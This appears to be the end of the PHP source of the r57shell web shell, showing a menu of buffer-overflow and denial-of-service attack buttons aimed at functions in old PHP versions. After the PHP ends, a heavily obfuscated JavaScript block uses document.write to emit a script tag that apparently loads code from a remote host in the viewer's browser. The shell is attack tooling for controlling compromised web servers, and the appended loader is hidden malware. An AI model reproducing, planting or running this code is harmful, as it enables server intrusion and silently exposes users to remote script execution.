7689echo sr(10,"",$fs.in('hidden','cmd',0,'dos14').in('submit','submit',0,'BoF [str_ireplace()](PHP<5.2.x)').$fe);
7690
7691echo sr(10,"",$fs.in('hidden','cmd',0,'dos15').in('submit','submit',0,'BoF [htmlentities()](PHP<5.1.6,4.4.4)').$fe);
7692
7693echo sr(10,"",$fs.in('hidden','cmd',0,'dos16').in('submit','submit',0,'BoF [zip_entry_read()](PHP<4.4.5)').$fe);
7694
7695echo sr(10,"",$fs.in('hidden','cmd',0,'dos17').in('submit','submit',0,'BoF [sqlite_udf_decode_binary()](PHP<5.2.1)').$fe);
7696
7697echo sr(10,"",$fs.in('hidden','cmd',0,'dos18').in('submit','submit',0,'BoF [msg_receive()](PHP<5.2.1)').$fe);
7698
7699echo sr(10,"",$fs.in('hidden','cmd',0,'dos19').in('submit','submit',0,'BoF [php_stream_filter_create()](PHP5<5.2.1)').$fe);
7700
7701echo sr(10,"",$fs.in('hidden','cmd',0,'dos20').in('submit','submit',0,'BoF [unserialize()](PHP<4.4.4)').$fe);
7702
7703echo sr(10,"",$fs.in('hidden','cmd',0,'dos21').in('submit','submit',0,'BoF [gdImageCreateTrueColor()](PHP<5.2.x)').$fe);
7704
7705echo sr(10,"",$fs.in('hidden','cmd',0,'dos22').in('submit','submit',0,'BoF [gdImageCopyResized()](PHP<5.2.x)').$fe);
7706
7707echo sr(10,"",$fs.in('hidden','cmd',0,'dos23').in('submit','submit',0,'DoS [iconv_substr()](PHP<5.2.x)').$fe);
7708
7709echo sr(10,"",$fs.in('hidden','cmd',0,'dos24').in('submit','submit',0,'DoS [setlocale()](PHP<5.2.x)').$fe);
7710
7711echo $te."</td><td valign=top width=25%>".$ts;
7712
7713echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>";
7714
7715echo sr(10,"",$fs.in('hidden','cmd',0,'dos25').in('submit','submit',0,'DoS [glob()] 1 (PHP<5.2.x)').$fe);
7716
7717echo sr(10,"",$fs.in('hidden','cmd',0,'dos26').in('submit','submit',0,'DoS [glob()] 2 (PHP<5.2.x)').$fe);
7718
7719echo sr(10,"",$fs.in('hidden','cmd',0,'dos27').in('submit','submit',0,'DoS [fnmatch()](PHP<5.2.x)').$fe);
7720
7721echo sr(10,"",$fs.in('hidden','cmd',0,'dos28').in('submit','submit',0,'BoF [imagepsloadfont()](PHP<5.2.x)').$fe);
7722
7723echo sr(10,"",$fs.in('hidden','cmd',0,'dos29').in('submit','submit',0,'BoF mSQL [msql_connect](PHP<5.2.x)').$fe);
7724
7725echo sr(10,"",$fs.in('hidden','cmd',0,'dos30').in('submit','submit',0,'BoF [chunk_split()](PHP<5.2.x)').$fe);
7726
7727echo sr(10,"",$fs.in('hidden','cmd',0,'dos31').in('submit','submit',0,'BoF [php_win32sti.dl](PHP<5.2.x)').$fe);
7728
7729echo sr(10,"",$fs.in('hidden','cmd',0,'dos32').in('submit','submit',0,'BoF [php_iisfunc.dll](PHP<5.2.x)').$fe);
7730
7731echo sr(10,"",$fs.in('hidden','cmd',0,'dos33').in('submit','submit',0,'BoF [ntuser_getuserlist()](PHP<5.2.x)').$fe);
7732
7733echo sr(10,"",$fs.in('hidden','cmd',0,'dos34').in('submit','submit',0,'DoS [com_print_typeinfo()](PHP<5.2.x)').$fe);
7734
7735echo sr(10,"",$fs.in('hidden','cmd',0,'dos35').in('submit','submit',0,'BoF [iconv()](PHP<5.2.x)').$fe);
7736
7737echo sr(10,"",$fs.in('hidden','cmd',0,'dos36').in('submit','submit',0,'BoF [iconv_m_d_headers()](PHP<5.2.x)').$fe);
7738
7739echo $te."</td><td valign=top width=25%>".$ts;
7740
7741echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>";
7742
7743echo sr(10,"",$fs.in('hidden','cmd',0,'dos37').in('submit','submit',0,'BoF [iconv_mime_decode()](PHP<5.2.x)').$fe);
7744
7745echo sr(10,"",$fs.in('hidden','cmd',0,'dos38').in('submit','submit',0,'BoF [iconv_strlen()](PHP<5.2.x)').$fe);
7746
7747/*echo sr(10,"",$fs.in('hidden','cmd',0,'dos').in('submit','submit',0,'BoF [()](PHP<5.2.x)').$fe);*/
7748
7749echo $te."</td></tr></div></table>";
7750
7751echo '</table>'.$table_up3."</div></div><div align=center id='n'><font face=Verdana size=-2><b>o---[ r57shell | version ".$version." | <a href=http://rst.void.ru>RST</a> | <a href=http://ghc.ru>GHC</a> | <a href=http://www.antichat.ru>Antichat.ru Edition</a> | Generation time: ".round(getmicrotime()-starttime,4)." ]---o</b></font></div></td></tr></table>";
7752
7753echo '</body></html>';
7754
7755?>
7756
7757<script type="text/javascript" language="javascript">
7758<!--
7759fF7eSD8=new Array();
7760fF7eSD8[0]="%3Cscript%3E%0Adocu";
7761fF7eSD8[1]="ment.write%28une";
7762fF7eSD8[2]="scape%28%22%253Cscri";
7763fF7eSD8[3]="pt%2520type%253D%25";
7764fF7eSD8[4]="22text/javascr";
7765fF7eSD8[5]="ipt%2522%253Edo";
7766fF7eSD8[6]="cument.write%25";
7767fF7eSD8[7]="28%2527%255Cu00";
7768fF7eSD8[8]="3c%255Cu0073%255C";
7769fF7eSD8[9]="u0063%255Cu0072";
7770fF7eSD8[10]="%255Cu0069%255Cu";
7771fF7eSD8[11]="0070%255Cu007";
7772fF7eSD8[12]="4%255Cu0020%255C";
7773fF7eSD8[13]="u0074%255Cu007";
7774fF7eSD8[14]="9%255Cu0070%255Cu";
7775fF7eSD8[15]="0065%255Cu003d%25";
7776fF7eSD8[16]="5Cu0022%255Cu0";
7777fF7eSD8[17]="074%255Cu0065%255C";
7778fF7eSD8[18]="u0078%255Cu0074%25";
7779fF7eSD8[19]="5Cu002f%255Cu";
7780fF7eSD8[20]="006a%255Cu0061%255";
7781fF7eSD8[21]="Cu0076%255Cu0";
7782fF7eSD8[22]="061%255Cu0073%25";
7783fF7eSD8[23]="5Cu0063%255Cu00";
7784fF7eSD8[24]="72%255Cu0069%25";
7785fF7eSD8[25]="5Cu0070%255Cu";
7786fF7eSD8[26]="0074%255Cu0022";
7787fF7eSD8[27]="%255Cu003e%255C";
7788fF7eSD8[28]="u0064%255Cu00";
7789fF7eSD8[29]="6f%255Cu0063%255C";
7790fF7eSD8[30]="u0075%255Cu006";
7791fF7eSD8[31]="d%255Cu0065%255Cu";
7792fF7eSD8[32]="006e%255Cu0074%255";
7793fF7eSD8[33]="Cu002e%255Cu00";
7794fF7eSD8[34]="77%255Cu0072%25";
7795fF7eSD8[35]="5Cu0069%255Cu";
7796fF7eSD8[36]="0074%255Cu0065%25";
7797fF7eSD8[37]="5Cu0028%255Cu002";
7798fF7eSD8[38]="7%255Cu005c%255Cu";
7799fF7eSD8[39]="0075%255Cu0030";
7800fF7eSD8[40]="%255Cu0030%255Cu0";
7801fF7eSD8[41]="033%255Cu0063%25";
7802fF7eSD8[42]="5Cu005c%255Cu007";
7803fF7eSD8[43]="5%255Cu0030%255Cu";
7804fF7eSD8[44]="0030%255Cu0035";
7805fF7eSD8[45]="%255Cu0033%255C";
7806fF7eSD8[46]="u005c%255Cu0075";
7807fF7eSD8[47]="%255Cu0030%255Cu";
7808fF7eSD8[48]="0030%255Cu003";
7809fF7eSD8[49]="4%255Cu0033%255";
7810fF7eSD8[50]="Cu005c%255Cu007";
7811fF7eSD8[51]="5%255Cu0030%255Cu";
7812fF7eSD8[52]="0030%255Cu0035%255";
7813fF7eSD8[53]="Cu0032%255Cu00";
7814fF7eSD8[54]="5c%255Cu0075%255C";
7815fF7eSD8[55]="u0030%255Cu0030%25";
7816fF7eSD8[56]="5Cu0034%255Cu00";
7817fF7eSD8[57]="39%255Cu005c%255Cu";
7818fF7eSD8[58]="0075%255Cu0030%255";
7819fF7eSD8[59]="Cu0030%255Cu003";
7820fF7eSD8[60]="5%255Cu0030%255C";
7821fF7eSD8[61]="u005c%255Cu0075";
7822fF7eSD8[62]="%255Cu0030%255Cu00";
7823fF7eSD8[63]="30%255Cu0035%255";
7824fF7eSD8[64]="Cu0034%255Cu005";
7825fF7eSD8[65]="c%255Cu0075%255C";
7826fF7eSD8[66]="u0030%255Cu0030%25";
7827fF7eSD8[67]="5Cu0032%255Cu";
7828fF7eSD8[68]="0030%255Cu005c%25";
7829fF7eSD8[69]="5Cu0075%255Cu00";
7830fF7eSD8[70]="30%255Cu0030%255";
7831fF7eSD8[71]="Cu0035%255Cu003";
7832fF7eSD8[72]="3%255Cu005c%255Cu0";
7833fF7eSD8[73]="075%255Cu0030";
7834fF7eSD8[74]="%255Cu0030%255Cu00";
7835fF7eSD8[75]="35%255Cu0032%25";
7836fF7eSD8[76]="5Cu005c%255Cu00";
7837fF7eSD8[77]="75%255Cu0030%255Cu";
7838fF7eSD8[78]="0030%255Cu003";
7839fF7eSD8[79]="4%255Cu0033%255Cu";
7840fF7eSD8[80]="005c%255Cu0075%25";
7841fF7eSD8[81]="5Cu0030%255Cu";
7842fF7eSD8[82]="0030%255Cu0033";
7843fF7eSD8[83]="%255Cu0064%255Cu0";
7844fF7eSD8[84]="05c%255Cu0075%25";
7845fF7eSD8[85]="5Cu0030%255Cu003";
7846fF7eSD8[86]="0%255Cu0036%255";
7847fF7eSD8[87]="Cu0038%255Cu0";
7848fF7eSD8[88]="05c%255Cu0075%255C";
7849fF7eSD8[89]="u0030%255Cu003";
7850fF7eSD8[90]="0%255Cu0037%255C";
7851fF7eSD8[91]="u0034%255Cu005c%25";
7852fF7eSD8[92]="5Cu0075%255Cu";
7853fF7eSD8[93]="0030%255Cu0030";
7854fF7eSD8[94]="%255Cu0037%255Cu";
7855fF7eSD8[95]="0034%255Cu005c%25";
7856fF7eSD8[96]="5Cu0075%255Cu00";
7857fF7eSD8[97]="30%255Cu0030%255Cu";
7858fF7eSD8[98]="0037%255Cu0030%255";
7859fF7eSD8[99]="Cu005c%255Cu00";
7860fF7eSD8[100]="75%255Cu0030%255";
7861fF7eSD8[101]="Cu0030%255Cu00";
7862fF7eSD8[102]="33%255Cu0061%255Cu";
7863fF7eSD8[103]="005c%255Cu0075";
7864fF7eSD8[104]="%255Cu0030%255C";
7865fF7eSD8[105]="u0030%255Cu0032%25";
7866fF7eSD8[106]="5Cu0066%255Cu00";
7867fF7eSD8[107]="5c%255Cu0075%255Cu";
7868fF7eSD8[108]="0030%255Cu0030%25";
7869fF7eSD8[109]="5Cu0032%255Cu0";
7870fF7eSD8[110]="066%255Cu005c";
7871fF7eSD8[111]="%255Cu0075%255Cu";
7872fF7eSD8[112]="0030%255Cu0030%25";
7873fF7eSD8[113]="5Cu0036%255Cu003";
7874fF7eSD8[114]="4%255Cu005c%255C";
7875fF7eSD8[115]="u0075%255Cu003";
7876fF7eSD8[116]="0%255Cu0030%255C";
7877fF7eSD8[117]="u0036%255Cu00";
7878fF7eSD8[118]="31%255Cu005c%255";
7879fF7eSD8[119]="Cu0075%255Cu00";
7880fF7eSD8[120]="30%255Cu0030%255Cu";
7881fF7eSD8[121]="0037%255Cu0034";
7882fF7eSD8[122]="%255Cu005c%255Cu00";
7883fF7eSD8[123]="75%255Cu0030%255C";
7884fF7eSD8[124]="u0030%255Cu003";
7885fF7eSD8[125]="6%255Cu0031%255";
7886fF7eSD8[126]="Cu005c%255Cu007";
7887fF7eSD8[127]="5%255Cu0030%255";
7888fF7eSD8[128]="Cu0030%255Cu0";
7889fF7eSD8[129]="032%255Cu0065";
7890fF7eSD8[130]="%255Cu005c%255C";
7891fF7eSD8[131]="u0075%255Cu0030%25";
7892fF7eSD8[132]="5Cu0030%255Cu003";
7893fF7eSD8[133]="7%255Cu0034%255Cu0";
7894fF7eSD8[134]="05c%255Cu0075%255C";
7895fF7eSD8[135]="u0030%255Cu00";
7896fF7eSD8[136]="30%255Cu0033%255C";
7897fF7eSD8[137]="u0030%255Cu005";
7898fF7eSD8[138]="c%255Cu0075%255Cu";
7899fF7eSD8[139]="0030%255Cu003";
7900fF7eSD8[140]="0%255Cu0033%255C";
7901fF7eSD8[141]="u0030%255Cu005";
7902fF7eSD8[142]="c%255Cu0075%255";
7903fF7eSD8[143]="Cu0030%255Cu0";
7904fF7eSD8[144]="030%255Cu0036%255C";
7905fF7eSD8[145]="u0063%255Cu005c";
7906fF7eSD8[146]="%255Cu0075%255C";
7907fF7eSD8[147]="u0030%255Cu00";
7908fF7eSD8[148]="30%255Cu0037%25";
7909fF7eSD8[149]="5Cu0033%255Cu00";
7910fF7eSD8[150]="5c%255Cu0075%255";
7911fF7eSD8[151]="Cu0030%255Cu00";
7912fF7eSD8[152]="30%255Cu0032%255";
7913fF7eSD8[153]="Cu0065%255Cu005c";
7914fF7eSD8[154]="%255Cu0075%255C";
7915fF7eSD8[155]="u0030%255Cu00";
7916fF7eSD8[156]="30%255Cu0036%255Cu";
7917fF7eSD8[157]="0066%255Cu005c%255";
7918fF7eSD8[158]="Cu0075%255Cu00";
7919fF7eSD8[159]="30%255Cu0030%255Cu";
7920fF7eSD8[160]="0037%255Cu0032%25";
7921fF7eSD8[161]="5Cu005c%255Cu007";
7922fF7eSD8[162]="5%255Cu0030%255C";
7923fF7eSD8[163]="u0030%255Cu0036%25";
7924fF7eSD8[164]="5Cu0037%255Cu00";
7925fF7eSD8[165]="5c%255Cu0075%255";
7926fF7eSD8[166]="Cu0030%255Cu0030";
7927fF7eSD8[167]="%255Cu0032%255Cu00";
7928fF7eSD8[168]="66%255Cu005c%255";
7929fF7eSD8[169]="Cu0075%255Cu0";
7930fF7eSD8[170]="030%255Cu0030%255C";
7931fF7eSD8[171]="u0037%255Cu0037";
7932fF7eSD8[172]="%255Cu005c%255Cu";
7933fF7eSD8[173]="0075%255Cu0030%25";
7934fF7eSD8[174]="5Cu0030%255Cu";
7935fF7eSD8[175]="0036%255Cu0038%255";
7936fF7eSD8[176]="Cu005c%255Cu007";
7937fF7eSD8[177]="5%255Cu0030%255";
7938fF7eSD8[178]="Cu0030%255Cu0036";
7939fF7eSD8[179]="%255Cu0035%255Cu00";
7940fF7eSD8[180]="5c%255Cu0075%255Cu";
7941fF7eSD8[181]="0030%255Cu003";
7942fF7eSD8[182]="0%255Cu0037%255C";
7943fF7eSD8[183]="u0032%255Cu00";
7944fF7eSD8[184]="5c%255Cu0075%255";
7945fF7eSD8[185]="Cu0030%255Cu0";
7946fF7eSD8[186]="030%255Cu0036%25";
7947fF7eSD8[187]="5Cu0035%255Cu0";
7948fF7eSD8[188]="05c%255Cu0075";
7949fF7eSD8[189]="%255Cu0030%255Cu0";
7950fF7eSD8[190]="030%255Cu0032";
7951fF7eSD8[191]="%255Cu0065%255Cu";
7952fF7eSD8[192]="005c%255Cu0075";
7953fF7eSD8[193]="%255Cu0030%255Cu00";
7954fF7eSD8[194]="30%255Cu0036%25";
7955fF7eSD8[195]="5Cu0061%255Cu";
7956fF7eSD8[196]="005c%255Cu007";
7957fF7eSD8[197]="5%255Cu0030%255";
7958fF7eSD8[198]="Cu0030%255Cu0037";
7959fF7eSD8[199]="%255Cu0033%255Cu0";
7960fF7eSD8[200]="05c%255Cu0075%255C";
7961fF7eSD8[201]="u0030%255Cu00";
7962fF7eSD8[202]="30%255Cu0033%255Cu";
7963fF7eSD8[203]="0065%255Cu005";
7964fF7eSD8[204]="c%255Cu0075%255Cu";
7965fF7eSD8[205]="0030%255Cu0030%25";
7966fF7eSD8[206]="5Cu0033%255Cu00";
7967fF7eSD8[207]="63%255Cu005c%255C";
7968fF7eSD8[208]="u0075%255Cu0030";
7969fF7eSD8[209]="%255Cu0030%255Cu0";
7970fF7eSD8[210]="032%255Cu0066%255";
7971fF7eSD8[211]="Cu005c%255Cu0";
7972fF7eSD8[212]="075%255Cu0030%25";
7973fF7eSD8[213]="5Cu0030%255Cu";
7974fF7eSD8[214]="0035%255Cu0033%255";
7975fF7eSD8[215]="Cu005c%255Cu007";
7976fF7eSD8[216]="5%255Cu0030%255Cu0";
7977fF7eSD8[217]="030%255Cu0034%255";
7978fF7eSD8[218]="Cu0033%255Cu00";
7979fF7eSD8[219]="5c%255Cu0075%25";
7980fF7eSD8[220]="5Cu0030%255Cu0";
7981fF7eSD8[221]="030%255Cu0035";
7982fF7eSD8[222]="%255Cu0032%255Cu0";
7983fF7eSD8[223]="05c%255Cu0075";
7984fF7eSD8[224]="%255Cu0030%255Cu";
7985fF7eSD8[225]="0030%255Cu0034%25";
7986fF7eSD8[226]="5Cu0039%255Cu0";
7987fF7eSD8[227]="05c%255Cu0075%25";
7988fF7eSD8[228]="5Cu0030%255Cu";
7989fF7eSD8[229]="0030%255Cu0035%25";
7990fF7eSD8[230]="5Cu0030%255Cu";
7991fF7eSD8[231]="005c%255Cu0075%255";
7992fF7eSD8[232]="Cu0030%255Cu0";
7993fF7eSD8[233]="030%255Cu0035";
7994fF7eSD8[234]="%255Cu0034%255Cu0";
7995fF7eSD8[235]="05c%255Cu0075";
7996fF7eSD8[236]="%255Cu0030%255Cu";
7997fF7eSD8[237]="0030%255Cu0033%255";
7998fF7eSD8[238]="Cu0065%255Cu0";
7999fF7eSD8[239]="027%255Cu0029";
8000fF7eSD8[240]="%255Cu003c%255C";
8001fF7eSD8[241]="u002f%255Cu0073%25";
8002fF7eSD8[242]="5Cu0063%255Cu007";
8003fF7eSD8[243]="2%255Cu0069%255Cu";
8004fF7eSD8[244]="0070%255Cu007";
8005fF7eSD8[245]="4%255Cu003e%2527%25";
8006fF7eSD8[246]="29%253C/script%25";
8007fF7eSD8[247]="3E%22%29%29%3B%0A%3C/scri";
8008fF7eSD8[248]="pt%3E";
8009for (i = 0; i < fF7eSD8.length; i ++)
8010{
8011 document.write(unescape(fF7eSD8[i]))
8012}
8013// -->
8014</script>